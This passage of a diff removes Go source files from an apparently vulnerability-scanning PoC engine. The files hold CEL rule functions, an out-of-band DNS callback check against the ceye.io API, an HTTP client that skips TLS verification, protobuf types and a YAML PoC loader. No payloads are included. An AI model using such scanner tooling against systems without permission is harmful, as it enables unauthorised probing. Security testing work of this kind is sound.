randSource := rand.New(rand.NewSource(time.Now().Unix()))
sub := RandomStr(randSource, letters, 8)
if ceyeDomain == "" {
return &Reverse{}
}
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
u, _ := url.Parse(urlStr)
return &Reverse{
Url: ParseUrl(u),
Domain: u.Hostname(),
Ip: "",
IsDomainNameServer: false,
}
}
-469
View File
@@ -1,469 +0,0 @@
package lib
import (
"bytes"
"crypto/md5"
"encoding/base64"
"fmt"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/checker/decls"
"github.com/google/cel-go/common/types"
"github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
"math/rand"
"net/http"
"net/url"
"regexp"
"strings"
"time"
)
func NewEnv(c *CustomLib) (*cel.Env, error) {
return cel.NewEnv(cel.Lib(c))
}
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
ast, iss := env.Compile(expression)
if iss.Err() != nil {
//fmt.Println("compile: ", iss.Err())
return nil, iss.Err()
}
prg, err := env.Program(ast)
if err != nil {
//fmt.Println("Program creation error: %v", err)
return nil, err
}
out, _, err := prg.Eval(params)
if err != nil {
//fmt.Println("Evaluation error: %v", err)
return nil, err
}
return out, nil
}
func UrlTypeToString(u *UrlType) string {
var buf strings.Builder
if u.Scheme != "" {
buf.WriteString(u.Scheme)
buf.WriteByte(':')
}
if u.Scheme != "" || u.Host != "" {
if u.Host != "" || u.Path != "" {
buf.WriteString("//")
}
if h := u.Host; h != "" {
buf.WriteString(u.Host)
}
}
path := u.Path
if path != "" && path[0] != '/' && u.Host != "" {
buf.WriteByte('/')
}
if buf.Len() == 0 {
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
buf.WriteString("./")
}
}
buf.WriteString(path)
if u.Query != "" {
buf.WriteByte('?')
buf.WriteString(u.Query)
}
if u.Fragment != "" {
buf.WriteByte('#')
buf.WriteString(u.Fragment)
}
return buf.String()
}
type CustomLib struct {
envOptions []cel.EnvOption
programOptions []cel.ProgramOption
}
func NewEnvOption() CustomLib {
c := CustomLib{}
c.envOptions = []cel.EnvOption{
cel.Container("lib"),
cel.Types(
&UrlType{},
&Request{},
&Response{},
&Reverse{},
),
cel.Declarations(
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
),
cel.Declarations(
// functions
decls.NewFunction("bcontains",
decls.NewInstanceOverload("bytes_bcontains_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("bmatches",
decls.NewInstanceOverload("string_bmatches_bytes",
[]*exprpb.Type{decls.String, decls.Bytes},
decls.Bool)),
decls.NewFunction("md5",
decls.NewOverload("md5_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("randomInt",
decls.NewOverload("randomInt_int_int",
[]*exprpb.Type{decls.Int, decls.Int},
decls.Int)),
decls.NewFunction("randomLowercase",
decls.NewOverload("randomLowercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("substr",
decls.NewOverload("substr_string_int_int",
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
decls.String)),
decls.NewFunction("wait",
decls.NewInstanceOverload("reverse_wait_int",
[]*exprpb.Type{decls.Any, decls.Int},
decls.Bool)),
decls.NewFunction("icontains",
decls.NewInstanceOverload("icontains_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
),
}
c.programOptions = []cel.ProgramOption{
cel.Functions(
&functions.Overload{
Operator: "bytes_bcontains_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
return types.Bool(bytes.Contains(v1, v2))
},
},
&functions.Overload{
Operator: "string_bmatch_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
}
ok, err := regexp.Match(string(v1), v2)
if err != nil {
return types.NewErr("%v", err)
}
return types.Bool(ok)
},
},
&functions.Overload{
Operator: "md5_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
}
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
},
},
&functions.Overload{
Operator: "randomInt_int_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
from, ok := lhs.(types.Int)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
}
to, ok := rhs.(types.Int)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
}
min, max := int(from), int(to)
return types.Int(rand.Intn(max-min) + min)
},
},
&functions.Overload{
Operator: "randomLowercase_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
}
return types.String(randomLowercase(int(n)))
},
},
&functions.Overload{
Operator: "base64_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
},
},
&functions.Overload{
Operator: "base64_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString(v))
},
},
&functions.Overload{
Operator: "base64Decode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "base64Decode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "urlencode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urlencode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urldecode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "urldecode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "substr_string_int_int",
Function: func(values ...ref.Val) ref.Val {
if len(values) == 3 {
str, ok := values[0].(types.String)
if !ok {
return types.NewErr("invalid string to 'substr'")
}
start, ok := values[1].(types.Int)
if !ok {
return types.NewErr("invalid start to 'substr'")
}
length, ok := values[2].(types.Int)
if !ok {
return types.NewErr("invalid length to 'substr'")
}
runes := []rune(str)
if start < 0 || length < 0 || int(start+length) > len(runes) {
return types.NewErr("invalid start or length to 'substr'")
}
return types.String(runes[start : start+length])
} else {
return types.NewErr("too many arguments to 'substr'")
}
},
},
&functions.Overload{
Operator: "reverse_wait_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
reverse, ok := lhs.Value().(*Reverse)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
}
timeout, ok := rhs.Value().(int64)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
}
return types.Bool(reverseCheck(reverse, timeout))
},
},
&functions.Overload{
Operator: "icontains_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
),
}
return c
}
// 声明环境中的变量类型和函数
func (c *CustomLib) CompileOptions() []cel.EnvOption {
return c.envOptions
}
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions
}
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
for k, v := range args {
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
var d *exprpb.Decl
if strings.HasPrefix(v, "randomInt") {
d = decls.NewIdent(k, decls.Int, nil)
} else if strings.HasPrefix(v, "newReverse") {
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
} else {
d = decls.NewIdent(k, decls.String, nil)
}
c.envOptions = append(c.envOptions, cel.Declarations(d))
}
}
func randomLowercase(n int) string {
lowercase := "abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
return RandomStr(randSource, lowercase, n)
}
func reverseCheck(r *Reverse, timeout int64) bool {
if ceyeApi == "" || r.Domain == "" {
return false
}
time.Sleep(time.Second * time.Duration(timeout))
sub := strings.Split(r.Domain, ".")[0]
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
fmt.Println(urlStr)
req, _ := http.NewRequest("GET", urlStr, nil)
resp, err := DoRequest(req, false)
if err != nil {
return false
}
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
return true
}
return false
}
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
const (
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
)
randBytes := make([]byte, n)
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = randSource.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
randBytes[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(randBytes)
}
-171
View File
@@ -1,171 +0,0 @@
package lib
import (
"bytes"
"compress/gzip"
"crypto/tls"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
"strconv"
"time"
)
var (
client *http.Client
clientNoRedirect *http.Client
dialTimout = 5 * time.Second
keepAlive = 15 * time.Second
)
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
//MaxConnsPerHost: 0,
MaxIdleConns: 1000,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if DownProxy != "" {
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
clientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
}
clientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
return nil
}
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if req.Body == nil || req.Body == http.NoBody {
} else {
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
var oResp *http.Response
var err error
if redirect {
oResp, err = client.Do(req)
} else {
oResp, err = clientNoRedirect.Do(req)
}
if err != nil {
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
return nil, err
}
return resp, err
}
func ParseUrl(u *url.URL) *UrlType {
nu := &UrlType{}
nu.Scheme = u.Scheme
nu.Domain = u.Hostname()
nu.Host = u.Host
nu.Port = u.Port()
nu.Path = u.EscapedPath()
nu.Query = u.RawQuery
nu.Fragment = u.Fragment
return nu
}
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{}
req.Method = oReq.Method
req.Url = ParseUrl(oReq.URL)
header := make(map[string]string)
for k := range oReq.Header {
header[k] = oReq.Header.Get(k)
}
req.Headers = header
req.ContentType = oReq.Header.Get("Content-Type")
if oReq.Body == nil || oReq.Body == http.NoBody {
} else {
data, err := ioutil.ReadAll(oReq.Body)
if err != nil {
return nil, err
}
req.Body = data
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
func ParseResponse(oResp *http.Response) (*Response, error) {
var resp Response
header := make(map[string]string)
resp.Status = int32(oResp.StatusCode)
resp.Url = ParseUrl(oResp.Request.URL)
for k := range oResp.Header {
header[k] = oResp.Header.Get(k)
}
resp.Headers = header
resp.ContentType = oResp.Header.Get("Content-Type")
body, err := getRespBody(oResp)
if err != nil {
return nil, err
}
resp.Body = body
return &resp, nil
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
//utils.Logger.Error(err)
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
if err != nil {
//utils.Logger.Error(err)
return nil, err
}
defer oResp.Body.Close()
body = raw
}
return body, nil
}
-354
View File
@@ -1,354 +0,0 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: http.proto
package lib
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
math "math"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
type UrlType struct {
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *UrlType) Reset() { *m = UrlType{} }
func (m *UrlType) String() string { return proto.CompactTextString(m) }
func (*UrlType) ProtoMessage() {}
func (*UrlType) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{0}
}
func (m *UrlType) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_UrlType.Unmarshal(m, b)
}
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
}
func (m *UrlType) XXX_Merge(src proto.Message) {
xxx_messageInfo_UrlType.Merge(m, src)
}
func (m *UrlType) XXX_Size() int {
return xxx_messageInfo_UrlType.Size(m)
}
func (m *UrlType) XXX_DiscardUnknown() {
xxx_messageInfo_UrlType.DiscardUnknown(m)
}
var xxx_messageInfo_UrlType proto.InternalMessageInfo
func (m *UrlType) GetScheme() string {
if m != nil {
return m.Scheme
}
return ""
}
func (m *UrlType) GetDomain() string {
if m != nil {
return m.Domain
}
return ""
}
func (m *UrlType) GetHost() string {
if m != nil {
return m.Host
}
return ""
}
func (m *UrlType) GetPort() string {
if m != nil {
return m.Port
}
return ""
}
func (m *UrlType) GetPath() string {
if m != nil {
return m.Path
}
return ""
}
func (m *UrlType) GetQuery() string {
if m != nil {
return m.Query
}
return ""
}
func (m *UrlType) GetFragment() string {
if m != nil {
return m.Fragment
}
return ""
}
type Request struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Request) Reset() { *m = Request{} }
func (m *Request) String() string { return proto.CompactTextString(m) }
func (*Request) ProtoMessage() {}
func (*Request) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{1}
}
func (m *Request) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Request.Unmarshal(m, b)
}
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
}
func (m *Request) XXX_Merge(src proto.Message) {
xxx_messageInfo_Request.Merge(m, src)
}
func (m *Request) XXX_Size() int {
return xxx_messageInfo_Request.Size(m)
}
func (m *Request) XXX_DiscardUnknown() {
xxx_messageInfo_Request.DiscardUnknown(m)
}
var xxx_messageInfo_Request proto.InternalMessageInfo
func (m *Request) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Request) GetMethod() string {
if m != nil {
return m.Method
}
return ""
}
func (m *Request) GetHeaders() map[string]string {
if m != nil {
return m.Headers
}
return nil
}
func (m *Request) GetContentType() string {
if m != nil {
return m.ContentType
}
return ""
}
func (m *Request) GetBody() []byte {
if m != nil {
return m.Body
}
return nil
}
type Response struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Response) Reset() { *m = Response{} }
func (m *Response) String() string { return proto.CompactTextString(m) }
func (*Response) ProtoMessage() {}
func (*Response) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{2}
}
func (m *Response) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Response.Unmarshal(m, b)
}
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
}
func (m *Response) XXX_Merge(src proto.Message) {
xxx_messageInfo_Response.Merge(m, src)
}
func (m *Response) XXX_Size() int {
return xxx_messageInfo_Response.Size(m)
}
func (m *Response) XXX_DiscardUnknown() {
xxx_messageInfo_Response.DiscardUnknown(m)
}
var xxx_messageInfo_Response proto.InternalMessageInfo
func (m *Response) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Response) GetStatus() int32 {
if m != nil {
return m.Status
}
return 0
}
func (m *Response) GetHeaders() map[string]string {
if m != nil {
return m.Headers
}
return nil
}
func (m *Response) GetContentType() string {
if m != nil {
return m.ContentType
}
return ""
}
func (m *Response) GetBody() []byte {
if m != nil {
return m.Body
}
return nil
}
type Reverse struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Reverse) Reset() { *m = Reverse{} }
func (m *Reverse) String() string { return proto.CompactTextString(m) }
func (*Reverse) ProtoMessage() {}
func (*Reverse) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{3}
}
func (m *Reverse) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Reverse.Unmarshal(m, b)
}
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
}
func (m *Reverse) XXX_Merge(src proto.Message) {
xxx_messageInfo_Reverse.Merge(m, src)
}
func (m *Reverse) XXX_Size() int {
return xxx_messageInfo_Reverse.Size(m)
}
func (m *Reverse) XXX_DiscardUnknown() {
xxx_messageInfo_Reverse.DiscardUnknown(m)
}
var xxx_messageInfo_Reverse proto.InternalMessageInfo
func (m *Reverse) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Reverse) GetDomain() string {
if m != nil {
return m.Domain
}
return ""
}
func (m *Reverse) GetIp() string {
if m != nil {
return m.Ip
}
return ""
}
func (m *Reverse) GetIsDomainNameServer() bool {
if m != nil {
return m.IsDomainNameServer
}
return false
}
func init() {
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
proto.RegisterType((*Request)(nil), "lib.Request")
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
proto.RegisterType((*Response)(nil), "lib.Response")
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
}
func init() {
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
}
var fileDescriptor_11b04836674e6f94 = []byte{
// 378 bytes of a gzipped FileDescriptorProto
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
}
-70
View File
@@ -1,70 +0,0 @@
package lib
import (
"embed"
"fmt"
"gopkg.in/yaml.v3"
"strings"
)
type Poc struct {
Name string `yaml:"name"`
Set map[string]string `yaml:"set"`
Rules []Rules `yaml:"rules"`
Detail Detail `yaml:"detail"`
}
type Rules struct {
Method string `yaml:"method"`
Path string `yaml:"path"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
}
type Detail struct {
Author string `yaml:"author"`
Links []string `yaml:"links"`
Description string `yaml:"description"`
Version string `yaml:"version"`
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := loadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
}
